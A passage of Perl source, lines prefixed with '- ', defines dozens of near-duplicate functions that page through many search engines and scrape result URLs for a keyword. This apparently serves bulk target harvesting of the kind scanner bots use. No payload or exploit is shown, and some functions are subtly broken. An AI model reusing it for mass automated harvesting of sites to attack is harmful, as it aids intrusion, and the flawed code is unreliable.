- if ($link !~ /askBR\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askMX() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://mx.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askMX\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askJP() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=1) {
- my $search = ("http://jp.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /askJP\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- #################
- sub yahoo(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /yahoo\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooCA() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooCA/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooUK() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooUK/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooDE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooDE/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooFR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooFR/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooES() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooES/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooIT() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooIT/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooID() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooID/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooIN() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooIN/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooAU() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooAU/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooMX() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooMX/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooTW() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooTW/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooBR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooBR/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooAR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooAR/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooNL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooNL/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooDK() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooDK/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooPH() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooPH/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooCL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooCL/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooRU() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooRU/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooCH() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooCH/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooCO() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooCO/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooFI() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooFI/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooRO() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooRO/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooVE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooVE/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooAT() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooAT/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooPL() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooPL/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooKR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooKR/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooNZ() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooNZ/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooGR() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooGR/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahooPE() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- my $link = $1;
- if ($link!~ /yahooPE/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo7(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://au.search.yahoo.com/search?p=".&key($key)."&fr=yfp-t-501&ei=utf-8");
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /yahoo7/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
- my $res = &search_engine_query($search);
- if ($res !~ /next/) {$b=500;}
- while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
- if ($1 !~ /yippy\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gutser() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
- if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub google2() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
- foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- } return @list;
- }
- }
- sub exalead() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=100) {
- my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
- while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /exalead/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lycos() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
- if ($1 !~ /lycos\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub virgilio() {
- my @list;
- my $key = $_[0];
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
- if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
- if ($1 !~ /\.virgilio\.it/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webde() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
- my $res = &search_engine_query($search);
- if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
- while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
- my $link = $1;
- if ($link!~ /suche|web/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hotbot() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub aol() {
- my @list;
- my $key = $_[0];
- for ($b=2; $b<=50; $b+=1) {
- my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
- if ($1 !~ /aol\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sapo(){
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /\.sapo\.pt/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub duck() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
- my $res = &search_engine_query($search);
- if ($res =~ m/No more results/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /duckduckgo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lygo() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yause() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
- if ($1 !~ /yauba\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub baidu() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
- if ($1 !~ /baidu\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kipot() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
- if ($1 !~ /qkport\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gibla() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=1000; $b+=100) {
- my $search = ("http://www.gigablast.com/search?q=".&key($key)."&n=".$b."");
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/(.+?)\//g) {
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub black() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
- my $cek = $b+1;
- my $res = &search_engine_query($search);
- if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
- while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /blekko/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onet() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /webcache|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sizuka() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=100; $b+=10) {
- my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /szukacz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub walla() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /walla\.co\.il/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub demos() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /search|dmoz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rose() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
- foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
